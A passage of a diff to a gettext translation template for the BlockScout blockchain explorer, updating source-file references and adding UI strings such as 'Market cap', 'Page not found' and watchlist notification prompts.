lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:3 +#: lib/block_scout_web/templates/layout/app.html.eex:49 +#: lib/block_scout_web/templates/layout/app.html.eex:49 #, elixir-autogen, elixir-format -msgid "Library Address" +msgid "Less than" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 #, elixir-autogen, elixir-format -msgid "Library Name" +msgid "Library" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:24 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:24 #, elixir-autogen, elixir-format msgid "License Expires" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:10 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:10 #, elixir-autogen, elixir-format msgid "License ID" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:297 +#: lib/block_scout_web/templates/transaction/overview.html.eex:351 +#: lib/block_scout_web/templates/transaction/overview.html.eex:351 #, elixir-autogen, elixir-format msgid "List of ERC-1155 tokens created in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:281 +#: lib/block_scout_web/templates/transaction/overview.html.eex:335 +#: lib/block_scout_web/templates/transaction/overview.html.eex:335 #, elixir-autogen, elixir-format msgid "List of token burnt in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:264 +#: lib/block_scout_web/templates/transaction/overview.html.eex:318 +#: lib/block_scout_web/templates/transaction/overview.html.eex:318 #, elixir-autogen, elixir-format msgid "List of token minted in the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:248 +#: lib/block_scout_web/templates/transaction/overview.html.eex:302 +#: lib/block_scout_web/templates/transaction/overview.html.eex:302 #, elixir-autogen, elixir-format msgid "List of token transferred in the transaction." msgstr "" +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:18 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:18 #, elixir-autogen, elixir-format msgid "Loading chart..." msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:77 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:139 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:109 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:109 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:35 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:133 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:35 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:99 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:99 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:49 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:49 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:45 -#: lib/block_scout_web/templates/address_read_contract/index.html.eex:12 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:45 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:49 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:49 +#: lib/block_scout_web/templates/address_read_proxy/index.html.eex:12 #: lib/block_scout_web/templates/address_read_proxy/index.html.eex:12 -#: lib/block_scout_web/templates/address_write_contract/index.html.eex:12 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:39 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:39 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:47 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:47 #: lib/block_scout_web/templates/address_write_proxy/index.html.eex:12 -#: lib/block_scout_web/templates/tokens/contract/index.html.eex:16 +#: lib/block_scout_web/templates/address_write_proxy/index.html.eex:12 +#: lib/block_scout_web/templates/tokens/contract/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/contract/index.html.eex:17 #, elixir-autogen, elixir-format msgid "Loading..." msgstr "" +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:2 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:2 #, elixir-autogen, elixir-format msgid "Log Data" msgstr "" -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:131 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:140 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:140 #, elixir-autogen, elixir-format msgid "Log Index" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:41 +#: lib/block_scout_web/templates/address/_tabs.html.eex:49 +#: lib/block_scout_web/templates/address/_tabs.html.eex:49 #: lib/block_scout_web/templates/address_logs/index.html.eex:10 +#: lib/block_scout_web/templates/address_logs/index.html.eex:10 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:17 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:17 #: lib/block_scout_web/templates/transaction_log/index.html.eex:8 -#: lib/block_scout_web/views/address_view.ex:372 -#: lib/block_scout_web/views/transaction_view.ex:513 +#: lib/block_scout_web/templates/transaction_log/index.html.eex:8 +#: lib/block_scout_web/views/address_view.ex:363 +#: lib/block_scout_web/views/address_view.ex:363 +#: lib/block_scout_web/views/transaction_view.ex:553 +#: lib/block_scout_web/views/transaction_view.ex:553 #, elixir-autogen, elixir-format msgid "Logs" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:50 +#: lib/block_scout_web/templates/layout/_footer.html.eex:54 +#: lib/block_scout_web/templates/layout/_footer.html.eex:54 #, elixir-autogen, elixir-format msgid "Main Networks" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:52 -#: lib/block_scout_web/templates/layout/app.html.eex:46 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:83 -#: lib/block_scout_web/views/address_view.ex:142 +#: lib/block_scout_web/templates/chain/show.html.eex:53 +#: lib/block_scout_web/templates/chain/show.html.eex:53 +#: lib/block_scout_web/templates/layout/app.html.eex:50 +#: lib/block_scout_web/templates/layout/app.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:85 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:85 +#: lib/block_scout_web/views/address_view.ex:148 +#: lib/block_scout_web/views/address_view.ex:148 #, elixir-autogen, elixir-format msgid "Market Cap" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:374 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:84 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:84 +#, elixir-autogen, elixir-format +msgid "Market cap" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:440 +#: lib/block_scout_web/templates/transaction/overview.html.eex:440 #, elixir-autogen, elixir-format msgid "Max Fee per Gas" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:384 +#: lib/block_scout_web/templates/transaction/overview.html.eex:450 +#: lib/block_scout_web/templates/transaction/overview.html.eex:450 #, elixir-autogen, elixir-format msgid "Max Priority Fee per Gas" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:319 +#: lib/block_scout_web/views/transaction_view.ex:331 +#: lib/block_scout_web/views/transaction_view.ex:331 #, elixir-autogen, elixir-format msgid "Max of" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:364 +#: lib/block_scout_web/templates/transaction/overview.html.eex:425 +#: lib/block_scout_web/templates/transaction/overview.html.eex:425 +#, elixir-autogen, elixir-format +msgid "Maximum gas amount approved for the transaction on L2." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:429 +#: lib/block_scout_web/templates/transaction/overview.html.eex:429 #, elixir-autogen, elixir-format msgid "Maximum gas amount approved for the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:373 +#: lib/block_scout_web/templates/transaction/overview.html.eex:439 +#: lib/block_scout_web/templates/transaction/overview.html.eex:439 #, elixir-autogen, elixir-format msgid "Maximum total amount per unit of gas a user is willing to pay for a transaction, including base fee and priority fee." msgstr "" +#: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:18 #: lib/block_scout_web/templates/tokens/instance/metadata/index.html.eex:18 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:10 -#: lib/block_scout_web/views/tokens/instance/overview_view.ex:196 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:10 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:75 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:75 #, elixir-autogen, elixir-format msgid "Metadata" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:5 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:5 #, elixir-autogen, elixir-format msgid "Method Id" msgstr "" #: lib/block_scout_web/templates/block/_tile.html.eex:41 +#: lib/block_scout_web/templates/block/_tile.html.eex:41 +#: lib/block_scout_web/templates/block/overview.html.eex:98 #: lib/block_scout_web/templates/block/overview.html.eex:98 #: lib/block_scout_web/templates/chain/_block.html.eex:16 +#: lib/block_scout_web/templates/chain/_block.html.eex:16 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:22 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:22 #, elixir-autogen, elixir-format msgid "Miner" msgstr "" -#: lib/block_scout_web/views/block_view.ex:61 -#: lib/block_scout_web/views/block_view.ex:66 +#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:63 +#: lib/block_scout_web/views/block_view.ex:68 +#: lib/block_scout_web/views/block_view.ex:68 #, elixir-autogen, elixir-format msgid "Miner Reward" msgstr "" +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:3 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:3 #, elixir-autogen, elixir-format msgid "Minimal Proxy Contract for" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:206 +#: lib/block_scout_web/templates/block/overview.html.eex:208 +#: lib/block_scout_web/templates/block/overview.html.eex:208 #, elixir-autogen, elixir-format msgid "Minimum fee required per unit of gas. Fee adjusts based on network congestion." msgstr "" +#: lib/block_scout_web/templates/transaction/_actions.html.eex:92 +#: lib/block_scout_web/templates/transaction/_actions.html.eex:92 +#, elixir-autogen, elixir-format +msgid "Mint of %{address} To %{to}" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:223 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:223 #, elixir-autogen, elixir-format msgid "Model" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 #, elixir-autogen, elixir-format msgid "Module" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:12 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:12 #, elixir-autogen, elixir-format msgid "More internal transactions have come in" msgstr "" #: lib/block_scout_web/templates/address_transaction/index.html.eex:46 -#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:46 +#: lib/block_scout_web/templates/chain/show.html.eex:219 +#: lib/block_scout_web/templates/chain/show.html.eex:219 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction/index.html.eex:19 #: lib/block_scout_web/templates/transaction/index.html.eex:19 #, elixir-autogen, elixir-format msgid "More transactions have come in" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:63 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:63 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:74 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:74 #, elixir-autogen, elixir-format msgid "Must be set to:" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:22 +#, elixir-autogen, elixir-format +msgid "Must match the name specified in the code. For example, in contract MyContract {..} MyContract is the contract name." +msgstr "" + +#: lib/block_scout_web/templates/tokens/_tile.html.eex:40 +#: lib/block_scout_web/templates/tokens/_tile.html.eex:40 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:21 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:21 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:61 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:61 +#, elixir-autogen, elixir-format +msgid "N/A" +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:116 #: lib/block_scout_web/templates/block/overview.html.eex:116 #, elixir-autogen, elixir-format msgid "N/A bytes" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:19 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:19 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:28 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:28 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:28 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:28 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:18 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:22 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_name.html.eex:4 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:52 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:52 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:59 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:59 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:4 +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:4 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:21 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:21 #, elixir-autogen, elixir-format msgid "Name" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:20 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:20 +#, elixir-autogen, elixir-format +msgid "Name this API key" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:14 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Name this Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:19 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:20 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:20 +#, elixir-autogen, elixir-format +msgid "Name this address" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:19 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Name this transaction" +msgstr "" + +#: lib/block_scout_web/templates/address_token/overview.html.eex:44 #: lib/block_scout_web/templates/address_token/overview.html.eex:44 #, elixir-autogen, elixir-format msgid "Net Worth" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:5 -#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 -#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:5 #, elixir-autogen, elixir-format msgid "New Smart Contract Verification" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:9 +#, elixir-autogen, elixir-format +msgid "New Smart Contract Verification via Standard input JSON" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:5 +#, elixir-autogen, elixir-format +msgid "New Smart Contract Verification via metadata JSON" +msgstr "" + #: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 #, elixir-autogen, elixir-format msgid "New Solidity Smart Contract Verification" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:7 +#, elixir-autogen, elixir-format +msgid "New Solidity/Yul Smart Contract Verification" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:7 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:7 #, elixir-autogen, elixir-format msgid "New Vyper Smart Contract Verification" msgstr "" #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:80 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:80 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:87 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:87 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:95 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:95 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:103 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:103 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:111 +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:111 #, elixir-autogen, elixir-format msgid "Next" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:9 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:9 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:9 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:42 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:46 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:46 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:38 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:38 #, elixir-autogen, elixir-format msgid "No" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:196 -#: lib/block_scout_web/templates/transaction/overview.html.eex:428 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:15 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:15 +#, elixir-autogen, elixir-format +msgid "No trace entries found." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:198 +#: lib/block_scout_web/templates/block/overview.html.eex:198 +#: lib/block_scout_web/templates/transaction/overview.html.eex:535 +#: lib/block_scout_web/templates/transaction/overview.html.eex:535 #, elixir-autogen, elixir-format msgid "Nonce" msgstr "" +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:11 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:11 #, elixir-autogen, elixir-format msgid "Not unique Token" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:106 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 #, elixir-autogen, elixir-format msgid "Number of accounts holding the token" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:292 +#: lib/block_scout_web/templates/address/overview.html.eex:276 +#: lib/block_scout_web/templates/address/overview.html.eex:276 #, elixir-autogen, elixir-format msgid "Number of blocks validated by this validator." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:129 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 #, elixir-autogen, elixir-format msgid "Number of digits that come after the decimal place when displaying token value" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:203 +#: lib/block_scout_web/templates/address/overview.html.eex:187 +#: lib/block_scout_web/templates/address/overview.html.eex:187 #, elixir-autogen, elixir-format msgid "Number of transactions related to this address." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:117 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 #, elixir-autogen, elixir-format msgid "Number of transfers for the token" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:230 +#: lib/block_scout_web/templates/address/overview.html.eex:214 +#: lib/block_scout_web/templates/address/overview.html.eex:214 #, elixir-autogen, elixir-format msgid "Number of transfers to/from this address." msgstr "" #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:40 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:82 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:40 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:88 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:88 #, elixir-autogen, elixir-format msgid "OUT" msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "Only the first" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:61 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:40 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:40 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:32 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:32 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:75 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:75 +#, elixir-autogen, elixir-format +msgid "Optimization" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:67 +#: lib/block_scout_web/templates/address_contract/index.html.eex:67 #, elixir-autogen, elixir-format msgid "Optimization enabled" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:70 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:58 +#: lib/block_scout_web/templates/address_contract/index.html.eex:76 +#: lib/block_scout_web/templates/address_contract/index.html.eex:76 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:62 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:62 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:54 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:54 #, elixir-autogen, elixir-format msgid "Optimization runs" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:74 +#: lib/block_scout_web/templates/layout/_footer.html.eex:78 +#: lib/block_scout_web/templates/layout/_footer.html.eex:78 #, elixir-autogen, elixir-format msgid "Other Explorers" msgstr "" +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:35 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:35 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:48 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:48 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:61 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:61 +#, elixir-autogen, elixir-format +msgid "Outgoing" +msgstr "" + +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:24 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:24 #, elixir-autogen, elixir-format msgid "Owner Address" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#, elixir-autogen, elixir-format +msgid "POA solidity flattener or the" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:19 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:19 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:26 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:26 #, elixir-autogen, elixir-format msgid "POST" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #, elixir-autogen, elixir-format msgid "Page" msgstr "" +#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Page not found" +msgstr "" + #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:33 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:33 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:40 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:40 #, elixir-autogen, elixir-format msgid "Parameters" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:139 #: lib/block_scout_web/templates/block/overview.html.eex:139 #, elixir-autogen, elixir-format msgid "Parent Hash" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:60 -#: lib/block_scout_web/views/transaction_view.ex:348 -#: lib/block_scout_web/views/transaction_view.ex:386 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:63 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:63 +#: lib/block_scout_web/views/transaction_view.ex:374 +#: lib/block_scout_web/views/transaction_view.ex:374 +#: lib/block_scout_web/views/transaction_view.ex:419 +#: lib/block_scout_web/views/transaction_view.ex:419 +#: lib/block_scout_web/views/transaction_view.ex:427 +#: lib/block_scout_web/views/transaction_view.ex:427 #, elixir-autogen, elixir-format msgid "Pending" msgstr "" -#: lib/block_scout_web/templates/pending_transaction/index.html.eex:5 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:5 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:5 +#, elixir-autogen, elixir-format +msgid "Pending Transactions" +msgstr "" + +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#, elixir-autogen, elixir-format +msgid "Play" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:21 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:21 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "Please confirm your email address to use the My Account feature." +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:68 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:68 #, elixir-autogen, elixir-format -msgid "Pending Transactions" +msgid "Please select notification methods:" msgstr "" -#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 -#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:24 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:24 #, elixir-autogen, elixir-format -msgid "Play" +msgid "Please select what types of notifications you will receive:" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 #, elixir-autogen, elixir-format msgid "Position" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:254 +#: lib/block_scout_web/templates/block/overview.html.eex:256 +#: lib/block_scout_web/templates/block/overview.html.eex:256 #, elixir-autogen, elixir-format msgid "Position %{index}" msgstr "" #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:18 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:18 +#, elixir-autogen, elixir-format +msgid "Potential matches from contract method database:" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:32 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:32 #, 